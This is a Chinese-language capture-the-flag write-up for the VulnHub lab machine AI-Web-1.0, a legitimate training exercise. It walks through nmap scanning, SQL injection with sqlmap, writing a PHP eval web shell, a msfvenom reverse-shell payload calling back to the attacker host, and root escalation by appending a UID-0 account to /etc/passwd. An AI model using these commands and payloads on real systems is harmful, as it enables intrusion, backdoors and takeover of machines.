靶機:Al-Web-1.0
靶機下載地址:https://www.vulnhub.com/entry/ai-web-1,353/
虛擬機環境:橋接模式(保證在同一個網段方便掃描)
靶機搭建方式:下載好的靶場是一個壓縮包,解壓后直接用Vmware就能匯入,匯入后將網路連接方式改外橋接
靶機IP:192.168.3.67
kali機IP:192.168.3.62
Al-Web-1.0靶機

一、資訊收集
1. 發現靶機
先掃描網段,找到靶機IP地址為192.168.3.67
nmap -sn 192.168.3.0/24
# -sn 表示nmap在主機發現后不進行埠掃描只顯示出回應主機發現探測的可用主機

2. 掃描靶機開啟的埠號
nmap -p- -A 192.168.3.67
# -p- 對全埠進行掃描
# -A 全面系統探測、版本探測、腳本掃描、路由追蹤
發現有開放80埠,并且有個robots.txt可能有用

瀏覽器訪問一下,發現并不能直接得到有用的資訊



3. 目錄掃描
從剛才的robots.txt檔案中我們知道了有幾個目錄,現在掃描一下這些目錄,這里遍歷出兩個檔案,一個info.php的檔案,一個index.php


瀏覽器分別訪問一下,發現第一個info.php是一個phpinfo資訊,那就查看一下權限用戶和網站根目錄


第二個檔案發現這里可以輸入文字,感覺可以進行sql注入,先測驗一下,發現可以回顯資訊
1’ and 1=1 # 正常
1’ and 1=2 # 出錯


看來這里是與資料庫有互動的
二、SQL注入
哎,太懶啦,就用sqlmap來跑一下就行吧
1. 抓包
將資料包保存為data.txt放在桌面,等一下利用

2. 爆表
sqlmap -r data.txt --current-db --batch
# -r 從檔案中讀取HTTP請求
# --current-db 獲取當前資料庫
# --batch 不詢問用戶輸入,執行默認配置
爆出當前資料庫為aiweb1

3. 爆表
sqlmap -r data.txt -D "aiweb1" --tables --batch
# -D 指定要列舉的資料庫
# --tables 列舉出資料庫中所有的表

4. 爆列資訊
指定systemUser表
sqlmap -r data.txt -D "aiweb1" -T "systemUser" --columns --batch
# -T 指定要列舉的資料表
# --columns 列舉出指定資料表中所有的列

5. 爆欄位資訊
sqlmap -r data.txt -D "aiweb1" -T "systemUser" -C "id,password,username" --dump --batch
# -C 指定要列舉的資料列
# --dump匯出指定資料庫的表項

發現密碼被加密了,使用base64解密一下

做到這里發現一個問題,雖然成功爆出資料庫的資訊,但是好像并沒有可以登陸的后臺什么的可以利用,我丟!
不過雖然資料資訊暫時無法利用,但是不代表不可以通過sql注入寫入資料
6. 使用sqlmap寫shell
在剛才資訊收集中我們在robots.txt檔案中發現了一個/se3reTdir777/uploads/的路徑,并且也讀到過phpinfo資訊,從info.php檔案中我們知道了根目錄的路徑,那現在就可以在uploads/路徑下上傳檔案,通過sqlmap進行寫入,我們直接寫入一個木馬檔案試試
sqlmap -r ./data.txt --file-write="muma.php" --file-dest="/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php"
# --file-write=FILE 將指定檔案FILE寫入到后端DBMS檔案系統中
# --file-dest=FILE 使用絕對路徑寫入到后端DBMS中的檔案系統中
# muma.php代碼
<?php @eval($_REQUEST['cmd']); ?>
可以看到成功寫入了一個木馬檔案,并且可以訪問到它

7. 蟻劍連接
使用蟻劍連接,發現可以連接,但是沒有root權限,


三、反彈shell
1. 生成反彈shell木馬,通過剛才連接的蟻劍上傳
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.3.62 lport=1234 -f elf > reverseshell.elf
# -p 指定需要使用的payload(攻擊荷載)
# lhost 設定成監聽設備的IP
# lport 設定成監聽設備的埠
# -f 指定輸出格式
# elf格式 一種用于二進制檔案、可執行檔案、目標檔案、共享庫和核心轉儲格式檔案的檔案格式


2. 在蟻劍中打開終端,發現上傳的木馬沒有執行權限,先開啟執行權限,再運行,同時在kali中啟動監聽,成功反彈shell

use exploit/multi/handler #加載模塊
set payload linux/x64/meterpreter/reverse_tcp #修改成我們之前生成木馬時使用的payload
set LHOST 192.168.3.62 #設定監聽設備的IP地址(這里為kali)
set LPORT 1234 #設定監聽設備的監聽埠
run #啟動監聽
在啟動監聽后就可以在蟻劍那邊通過./reverseshell.elf執行檔案,等待反彈結果,可以看到成功反彈shell

四、提權
1. 在shell中通過python提權到tty
shell
python -c “import pty;pty.spawn(‘/bin/bash’)

發現/etc/passwd檔案居然是www-data用戶擁有并且具有可讀可寫權限

2. 在/etc/passwd檔案里寫入一個和root權限一樣的賬戶,使用openssl生成一個加密密碼,這里準備構造一個用戶名為admin密碼也為admin的新賬戶并且使該賬戶具有root權限
openssl passwd -1 -salt admin admin
# passwd 生成密碼使用的標準命令
# -1 使用md5加密演算法
# -salt 使用亂數插入,默認是加了salt的
# 第一個admin為賬戶名 第二個admin為賬戶密碼

將得到的密碼去/etc/passwd里構造一個新用戶
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /etc/passwd
# admin為用戶名
# $1$admin$1kgWpnZpUx.vTroWPXPIB0 為openssl生成的密碼,其實就是admin用戶的登陸口令
# 第一個0位User ID,即用戶識別碼,簡稱UID,0是系統管理員賬號
# 第二個0為Group ID,即用戶組識別碼,簡稱GID,0是管理員組
# 中間空了一個欄位,所以為::,原本這里為comment,這是給用戶賬戶做注釋的
# /root 該賬號的主目錄,即“家”目錄,這里把admin用戶的“家”設定成root主目錄(root賬戶的主目錄就是/root)
# /bin/bash 用戶登陸后使用的shell

3. 登陸admin賬戶,發現成功將權限提升到最高

現在進入root,成功拿到flag

結束
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/498795.html
標籤:訊息安全
上一篇:物聯網5種無線傳輸協議特點大匯總
